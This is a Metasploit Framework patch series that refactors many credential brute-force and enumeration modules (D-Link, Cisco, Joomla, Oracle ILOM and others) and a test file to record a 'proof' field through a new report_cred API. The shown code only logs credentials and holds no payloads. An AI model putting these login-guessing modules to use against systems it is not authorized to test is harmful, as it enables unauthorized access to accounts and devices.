service_name: 'http', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_wp_custom_contact_forms mod = framework.auxiliary.create('admin/http/wp_custom_contact_forms') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - user: FAKE_USER, - password: FAKE_PASS, - service_name: 'WordPress', - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, service_name: 'WordPress', proof: FAKE_PROOF) end def test_zyxel_admin_password_extractor mod = framework.auxiliary.create('admin/http/zyxel_admin_password_extractor') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'ZyXEL GS1510-16', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'ZyXEL GS1510-16', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_sercomm_dump_config mod = framework.auxiliary.create('admin/misc/sercomm_dump_config') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - user: FAKE_USER, - password: FAKE_PASS, - service_name: 'sercomm', - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, service_name: 'sercomm', proof: FAKE_PROOF) end def test_vnc mod = framework.auxiliary.create('server/capture/vnc') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'vnc_client', - user: '', - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'vnc_client', user: '', password: FAKE_PASS, proof: FAKE_PROOF ) end def test_smtp mod = framework.auxiliary.create('server/capture/smtp') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'pop3', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'pop3', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_sip mod = framework.auxiliary.create('server/capture/sip') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'sip_client', - user:FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'sip_client', user:FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_oracle_login mod = framework.auxiliary.create('admin/oracle/oracle_login') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'oracle', - user: FAKE_USER, - password: FAKE_PASS - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'oracle', user: FAKE_USER, password: FAKE_PASS ) end def test_postgresql mod = framework.auxiliary.create('server/capture/postgresql') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'psql_client', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'psql_client', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_pop3 mod = framework.auxiliary.create('server/capture/pop3') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'pop3', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'pop3', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF ) end def test_http_basic mod = framework.auxiliary.create('server/capture/http_basic') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'HTTP', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'HTTP', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF ) end def test_ftp mod = framework.auxiliary.create('server/capture/ftp') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'ftp', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'ftp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_drda mod = framework.auxiliary.create('server/capture/drda') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'db2_client', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'db2_client', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_koyo_login mod = framework.auxiliary.create('scanner/scada/koyo_login') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'koyo', - user: '', - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'koyo', user: '', password: FAKE_PASS, proof: FAKE_PROOF) end def test_openvas_otp_login mod = framework.auxiliary.create('scanner/openvas/openvas_otp_login') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'openvas-otp', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'openvas-otp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_openvas_omp_login mod = framework.auxiliary.create('scanner/openvas/openvas_omp_login') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'openvas-omp', - user: FAKE_USER, - password: FAKE_PASS, - proof: @result - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'openvas-omp', user: FAKE_USER, password: FAKE_PASS, proof: @result) end def test_openvas_gsad_login mod = framework.auxiliary.create('scanner/openvas/openvas_gsad_login') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'openvas-gsa', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'openvas-gsa', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_nexpose_api_login mod = framework.auxiliary.create('scanner/nexpose/nexpose_api_login') - mod.report_cred( - ip: FAKE_IP, - port: FAKE_PORT, - service_name: 'nexpose', - user: FAKE_USER, - password: FAKE_PASS, - proof: '' - ) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'nexpose', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_nessus_ntp_login + mod = framework.auxiliary.create('scanner/nessus/nessus_ntp_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'nessus-ntp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_msf_web_login + mod = framework.auxiliary.create('scanner/msf/msf_web_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'msf-web', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_msf_rpc_login + mod = framework.auxiliary.create('scanner/msf/msf_rpc_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'msf-rpc', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF ) + end + + def test_mongodb_login + mod = framework.auxiliary.create('scanner/mongodb/mongodb_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'mongodb', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_rosewill_rxs3211_passwords + mod = framework.auxiliary.create('scanner/misc/rosewill_rxs3211_passwords') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'ipcam', user: '', password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_raysharp_dvr_passwords + mod = framework.auxiliary.create('scanner/misc/raysharp_dvr_passwords') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'dvr', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_oki_scanner + mod = framework.auxiliary.create('scanner/misc/oki_scanner') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_dvr_config_disclosure + mod = framework.auxiliary.create('scanner/misc/dvr_config_disclosure') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'ftp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_typo3_bruteforce + mod = framework.auxiliary.create('scanner/http/typo3_bruteforce') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'typo3', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_squiz_matrix_user_enum + mod = framework.auxiliary.create('scanner/http/squiz_matrix_user_enum') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', proof: FAKE_PROOF) + end + + def test_sevone_enum + mod = framework.auxiliary.create('scanner/http/sevone_enum') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: '') + end + + def test_sentry_cdu_enum + mod = framework.auxiliary.create('scanner/http/sentry_cdu_enum') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_sap_businessobjects_user_brute_web + mod = framework.auxiliary.create('scanner/http/sap_businessobjects_user_brute_web') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'sap-businessobjects', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def run From 8bead5fde2c83b594964e348eea47c03ccc14061 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 23 Jul 2015 18:07:19 -0500 Subject: [PATCH 0192/2172] Modate update on using metasploit-credential Update some more modules to usethe new cred API. Also, make sure to always provide proof because that seems handy. --- .../scanner/http/axis_local_file_include.rb | 3 +- .../auxiliary/scanner/http/cisco_asa_asdm.rb | 3 +- .../scanner/http/cisco_ironport_enum.rb | 3 +- .../auxiliary/scanner/http/cisco_ssl_vpn.rb | 3 +- .../http/dlink_dir_300_615_http_login.rb | 4 +- .../scanner/http/dlink_dir_615h_http_login.rb | 3 +- .../http/dlink_dir_session_cgi_http_login.rb | 3 +- .../auxiliary/scanner/http/dolibarr_login.rb | 3 +- .../scanner/http/drupal_views_user_enum.rb | 4 +- .../scanner/http/ektron_cms400net.rb | 3 +- .../scanner/http/etherpad_duo_login.rb | 3 +- .../auxiliary/scanner/http/infovista_enum.rb | 3 +- .../scanner/http/joomla_bruteforce_login.rb | 3 +- .../scanner/http/novell_mdm_creds.rb | 3 +- .../scanner/http/oracle_ilom_login.rb | 45 ++++++++++--- .../auxiliary/scanner/http/pocketpad_login.rb | 45 ++++++++++--- .../scanner/http/radware_appdirector_enum.rb | 44 ++++++++++--- .../scanner/http/rfcode_reader_enum.rb | 45 ++++++++++--- .../http/sap_businessobjects_user_brute.rb | 38 ++++++++--- .../scanner/http/splunk_web_login.rb | 3 +- modules/auxiliary/scanner/http/vcms_login.rb | 3 +- .../auxiliary/scanner/misc/cctv_dvr_login.rb | 3 +- .../scanner/telnet/telnet_ruggedcom.rb | 3 +- .../scanner/vmware/vmware_http_login.rb | 3 +- modules/auxiliary/voip/asterisk_login.rb | 3 +- .../auxiliary/test/report_auth_info.rb | 65 +++++++++++++------ 26 files changed, 256 insertions(+), 88 deletions(-) diff --git a/modules/auxiliary/scanner/http/axis_local_file_include.rb b/modules/auxiliary/scanner/http/axis_local_file_include.rb index 36d12c6d3a..fe384ff9aa 100644 --- a/modules/auxiliary/scanner/http/axis_local_file_include.rb +++ b/modules/auxiliary/scanner/http/axis_local_file_include.rb @@ -91,6 +91,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -122,7 +123,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{target_url} - Apache Axis - Credentials Found Username: '#{username}' - Password: '#{password}'") - report_cred(ip: rhost, port: rport, user: username, password: password) + report_cred(ip: rhost, port: rport, user: username, password: password, proof: res.body) else print_error("#{target_url} - Apache Axis - Not Vulnerable") diff --git a/modules/auxiliary/scanner/http/cisco_asa_asdm.rb b/modules/auxiliary/scanner/http/cisco_asa_asdm.rb index b01d8af730..f9c8611e68 100644 --- a/modules/auxiliary/scanner/http/cisco_asa_asdm.rb +++ b/modules/auxiliary/scanner/http/cisco_asa_asdm.rb @@ -109,6 +109,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -139,7 +140,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body) return :next_user else diff --git a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb index 3b79e2dda9..a236e8138a 100644 --- a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb +++ b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb @@ -135,6 +135,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -164,7 +165,7 @@ class Metasploit3 < Msf::Auxiliary if res and res.get_cookies.include?('authenticated=') print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.get_cookies.inspect) return :next_user else diff --git a/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb b/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb index 145ef81c0a..5ad7ed6458 100644 --- a/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb +++ b/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb @@ -178,6 +178,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -224,7 +225,7 @@ class Metasploit3 < Msf::Auxiliary do_logout(resp.get_cookies) - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body) report_note(ip: rhost, type: 'cisco.cred.group', data: "User: #{user} / Group: #{group}") return :next_user diff --git a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb index 64c56ad076..a64f3b8a87 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb @@ -1,3 +1,4 @@ + ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework @@ -103,6 +104,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -117,7 +119,7 @@ class Metasploit3 < Msf::Auxiliary if result == :success print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: response.inspect) return :next_user else diff --git a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb index b710443945..8816247bf2 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Auxiliary if result == :success print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: response.inspect) return :next_user else @@ -131,6 +131,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) diff --git a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb index b74c903976..f2e2ad293a 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb @@ -104,6 +104,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -119,7 +120,7 @@ class Metasploit3 < Msf::Auxiliary if result == :success print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: response.inspect) return :next_user else diff --git a/modules/auxiliary/scanner/http/dolibarr_login.rb b/modules/auxiliary/scanner/http/dolibarr_login.rb index 5ba4d5a225..8acee32259 100644 --- a/modules/auxiliary/scanner/http/dolibarr_login.rb +++ b/modules/auxiliary/scanner/http/dolibarr_login.rb @@ -77,6 +77,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -125,7 +126,7 @@ class Metasploit3 < Msf::Auxiliary location = res.headers['Location'] if res and res.headers and (location = res.headers['Location']) and location =~ /admin\// print_good("#{peer} - Successful login: \"#{user}:#{pass}\"") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.headers['Location']) return :next_user else vprint_error("#{peer} - Bad login: \"#{user}:#{pass}\"") diff --git a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb index 0a248e088f..c78ded7771 100644 --- a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb +++ b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb @@ -81,6 +81,7 @@ class Metasploit3 < Msf::Auxiliary login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -129,7 +130,8 @@ class Metasploit3 < Msf::Auxiliary report_cred( ip: Rex::Socket.getaddress(datastore['RHOST']), port: datastore['RPORT'], - user: user + user: user, + proof: base_uri+l ) end diff --git a/modules/auxiliary/scanner/http/ektron_cms400net.rb b/modules/auxiliary/scanner/http/ektron_cms400net.rb index 169c17cefd..77ff86171e 100644 --- a/modules/auxiliary/scanner/http/ektron_cms400net.rb +++ b/modules/auxiliary/scanner/http/ektron_cms400net.rb @@ -145,6 +145,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -167,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary if (res and res.code == 200 and res.body.to_s.match(/LoginSuceededPanel/i) != nil) print_good("#{target_url} [Ektron CMS400.NET] Successful login: '#{user}' : '#{pass}'") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body) elsif(res and res.code == 200) vprint_error("#{target_url} [Ekton CMS400.NET] - Failed login as: '#{user}'") diff --git a/modules/auxiliary/scanner/http/etherpad_duo_login.rb b/modules/auxiliary/scanner/http/etherpad_duo_login.rb index 0939f53a09..9da9bffde7 100644 --- a/modules/auxiliary/scanner/http/etherpad_duo_login.rb +++ b/modules/auxiliary/scanner/http/etherpad_duo_login.rb @@ -87,6 +87,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -113,7 +114,7 @@ class Metasploit3 < Msf::Auxiliary if res && res.code == 200 && res.body.include?("Home Page") && res.headers['Server'] && res.headers['Server'].include?("EtherPAD") print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body) return :next_user else vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") diff --git a/modules/auxiliary/scanner/http/infovista_enum.rb b/modules/auxiliary/scanner/http/infovista_enum.rb index 2278d40260..e1c3773db9 100644 --- a/modules/auxiliary/scanner/http/infovista_enum.rb +++ b/modules/auxiliary/scanner/http/infovista_enum.rb @@ -100,6 +100,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -126,7 +127,7 @@ class Metasploit3 < Msf::Auxiliary vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect} with code #{res.code}") else print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body) return :next_user end diff --git a/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb b/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb index 6fee0a5043..0b355c0e4f 100644 --- a/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb +++ b/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb @@ -130,6 +130,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -142,7 +143,7 @@ class Metasploit3 < Msf::Auxiliary if result == :success print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: response.inspect) return :abort if datastore['STOP_ON_SUCCESS'] return :next_user else diff --git a/modules/auxiliary/scanner/http/novell_mdm_creds.rb b/modules/auxiliary/scanner/http/novell_mdm_creds.rb index 9a3349e800..3c03a14c2d 100644 --- a/modules/auxiliary/scanner/http/novell_mdm_creds.rb +++ b/modules/auxiliary/scanner/http/novell_mdm_creds.rb @@ -97,6 +97,7 @@ class Metasploit3 < Msf::Auxiliary login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -122,7 +123,7 @@ class Metasploit3 < Msf::Auxiliary print_good("Got creds. Login:#{user} Password:#{pass}") print_good("Access the admin interface here: #{ip}:#{rport}#{target_uri.path}dashboard/") - report_cred(ip: ip, port: rport, user: user, password: pass) + report_cred(ip: ip, port: rport, user: user, password: pass, proof: res.body) else print_error("Zenworks MDM does not appear to be running at #{ip}") return :abort diff --git a/modules/auxiliary/scanner/http/oracle_ilom_login.rb b/modules/auxiliary/scanner/http/oracle_ilom_login.rb index 0c1f907769..bc29b6d04c 100644 --- a/modules/auxiliary/scanner/http/oracle_ilom_login.rb +++ b/modules/auxiliary/scanner/http/oracle_ilom_login.rb @@ -70,6 +70,33 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + # # Brute-force the login page # @@ -96,16 +123,14 @@ class Metasploit3 < Msf::Auxiliary if (res and res.code == 200 and res.body.include?("/iPages/suntab.asp") and res.body.include?("SetWebSessionString")) print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_hash = { - :host => rhost, - :port => rport, - :sname => 'Oracle Integrated Lights Out Manager Portal', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } - report_auth_info(report_hash) + report_cred( + ip: rhost, + port: rport, + service_name: 'Oracle Integrated Lights Out Manager Portal', + user: user, + password: pass, + proof: res.body + ) return :next_user else vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") diff --git a/modules/auxiliary/scanner/http/pocketpad_login.rb b/modules/auxiliary/scanner/http/pocketpad_login.rb index e0ab987b7b..8aed527ef6 100644 --- a/modules/auxiliary/scanner/http/pocketpad_login.rb +++ b/modules/auxiliary/scanner/http/pocketpad_login.rb @@ -63,6 +63,33 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_time: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + # # Brute-force the login page # @@ -86,16 +113,14 @@ class Metasploit3 < Msf::Auxiliary if (res && res.code == 200 && res.body.include?("Home Page") && res.headers['Server'] && res.headers['Server'].include?("Smeagol")) print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_hash = { - :host => rhost, - :port => rport, - :sname => 'PocketPAD Portal', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } - report_auth_info(report_hash) + report_cred( + ip: rhost, + port: rport, + service_name: 'PocketPAD Portal', + user: user, + password: pass, + proof: res.body + ) return :next_user else vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") diff --git a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb index 115ceff6d4..8cf4fdc12f 100644 --- a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb +++ b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb @@ -76,6 +76,32 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + # # Brute-force the login page # @@ -96,16 +122,14 @@ class Metasploit3 < Msf::Auxiliary if (res and res.code == 302 and res.headers['Location'].include?('redirectId')) print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_hash = { - :host => rhost, - :port => rport, - :sname => 'Radware AppDirector', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } - report_auth_info(report_hash) + report_cred( + ip: rhost, + port: rport, + service_name: 'Radware AppDirector', + user: user, + password: pass, + proof: res.headers['Location'] + ) return :next_user else vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") diff --git a/modules/auxiliary/scanner/http/rfcode_reader_enum.rb b/modules/auxiliary/scanner/http/rfcode_reader_enum.rb index 62497673fc..cb103e7da7 100644 --- a/modules/auxiliary/scanner/http/rfcode_reader_enum.rb +++ b/modules/auxiliary/scanner/http/rfcode_reader_enum.rb @@ -128,16 +128,14 @@ class Metasploit3 < Msf::Auxiliary collect_info(user, pass) - report_hash = { - :host => rhost, - :port => rport, - :sname => 'RFCode Reader', - :user => user, - :pass => pass, - :active => true, - :type => 'password'} - - report_auth_info(report_hash) + report_cred( + ip: rhost, + port: rport, + service_name: 'RFCode Reader', + user: user, + password: pass, + proof: res.code.to_s + ) return :next_user end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE @@ -146,6 +144,33 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + # # Collect target info # 